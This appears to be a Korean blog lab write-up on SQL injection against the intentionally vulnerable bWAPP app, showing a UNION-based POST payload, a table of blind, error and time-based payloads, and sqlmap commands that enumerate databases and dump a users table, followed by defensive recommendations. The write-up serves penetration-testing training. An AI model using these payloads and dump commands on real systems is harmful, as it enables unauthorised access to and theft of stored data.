이번 포스트에서는 bWAPP 환경을 기반으로 SQL Injection 실습을 하고 , 보안 자동화 도구인 sqlmap을 이용하여 SQL Injection 공격을 자동화하는 과정을 정리하였다.
- 실습 환경 : VMware + BeeBox (bWAPP), Kali-Linux
- 사용 도구 : Burp Suite, sqlmap
- 공격 방식 : SQL Injection (GET/POST), 자동화된 DB 추출
1. SQL Injection POST 방식 실습
POST 방식의 SQL Injection은 URL에 직접 값을 넣는 GET 방식과 달리, 데이터가 HTTP Body로 전송되기 때문에 일반 브라우저 주소창에서는 조작이 어렵다.
따라서 Burp Suite의 Proxy(프락시) 기능을 활용해 요청 내용을 가로채고 수정함으로써 공격 payload를 삽입할 수 있다.
Burp Suite를 사용하는 이유
- POST 방식은 쿼리스트링이 아닌 본문(payload)에 담기므로 브라우저는 직접 조작이 불가능하다.
- Burp Suite는 중간자 역할을 해서 사용자의 요청을 가로채고, 내부 파라미터를 수정하여 공격을 시뮬레이션할 수 있다.
- 실시간으로 요청으로 수정하고 결과를 확인할 수 있기 때문에 웹 모의해킹에서는 필수적인 도구이다.
실습 예시
1)
movie=0 union select null,database(),version(),@@datadir,null,null,null&action=go
2)
=> SQL Injection이 성공적으로 반영되었으며, DBMS 내부 정보가 정상적으로 노출됨을 확인할 수 있었다.
2. sqlmap 설치 및 기본 사용법
2-1) 설치 명령 (Kali Linux)
apt install sqlmap #root 계정일때
sudo apt install sqlmap #일반 사용자 계정일때
2-2) 쿠키 확인 방법 (브라우저 개발자 도구 Console 탭)
document.cookie
// 예시 : 'security_level=0; PHPSESSID=abcd1234...'
2-3) 기본 공격 명령
sqlmap -u "http://IP 주소/bWAPP/sqli_1.php?title=abcd&action=search" --cookie="security_level=0; PHPSESSID=..." --batch
3. 다양한 SQLi 방식 탐지 결과
sqlmap의 자동화 분석 결과, 다음과 같은 공격 유형들이 성공적으로 적용되었다.
공격 유형 | 설명 |
Boolean-Based Blind | ' OR NOT 1=1 -- |
Error-Based | FLOOR(RAND(0)*2) 등의 에러 유발 |
Time-Based Blind | SLEEP(5) 함수 사용 |
UNION-Based | UNION ALL SELECT NULL,NULL, ..., CONCAT(...) |
=> bWAPP의 title 파라미터는 다양한 방식으로 인젝션이 가능한 상태였다.
4. 데이터베이스 및 테이블 추출하기
4-1) 데이터베이스 목록
sqlmap ... --dbs
4-2) 테이블 목록 확인
sqlmap ... -D bWAPP --tables
4-3) 특정 테이블 컬럼 확인
sqlmap ... -D bWAPP -T blog --columns
5. 유저 정보 추출하기
users 테이블에서 id, login 등의 컬럼을 다음 명령으로 덤프 하였다.
sqlmap ... -D bWAPP -T users -C id,login --dump
sqlmap은 추출한 데이터를 자동으로 CSV 파일로 저장하며, 경로는 /root/.local/share/sqlmap/output/...이다.
6. 고위험 공격 옵션 사용하기
sqlmap은 공격 강도를 조정할 수 있다.
- --level=5 : 더 많은 파라미터와 다양한 벡터 사용
- --risk=3 : 위험도가 높은 공격까지 포함
sqlmap ... --level=5 --risk=3
7. 느낀점 & 마무리
이번 실습을 통해 SQL Injection 공격이 얼마나 손쉽게 자동화될 수 있는지 깨달았다. 특히 sqlmap은 단 몇 줄의 명령어로 수천 개의 페이로드를 순식간에 테스트하고 결과를 정리해 준다. 이는 수동 공격보다 위협 수준이 훨씬 높다는 뜻이기도 하다.
보안 권장 사항
- 입력값 검증(화이트리스트 기반)
- Prepared Statement 사용
- WAF 적용 & 자동화 탐지 도구 대응
- 쿠키 인증 토큰 난수화 & 만료 시간 설정
SQL Injection은 여전히 많은 웹 애플리케이션에서 발견되는 치명적인 취약점이다. 이번 실습은 공격자의 입장에서 다양한 인젝션 유형을 직접 실습해보고, 자동화 도구인 sqlmap을 통해 실제 보안 위협이 어떻게 발생하는지 구체적으로 경험해 본 좋은 기회였다.
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.
'웹 해킹 & 보안' 카테고리의 다른 글
[1편] 웹 모의해킹 Tool (2) | 2025.05.13 |
---|---|
[3편] OWASP TOP10 - PHP Code Injection, Command Injection등 대응 실습 (6) | 2025.05.12 |
[2편] OWASP TOP10 실습 - HTML Injection과 XSS 분석 및 대응 (0) | 2025.05.12 |
[1편] OWASP TOP 10 (0) | 2025.05.12 |
bWAPP에서 SQL Injection 실습 - SQL 기초 (0) | 2025.05.11 |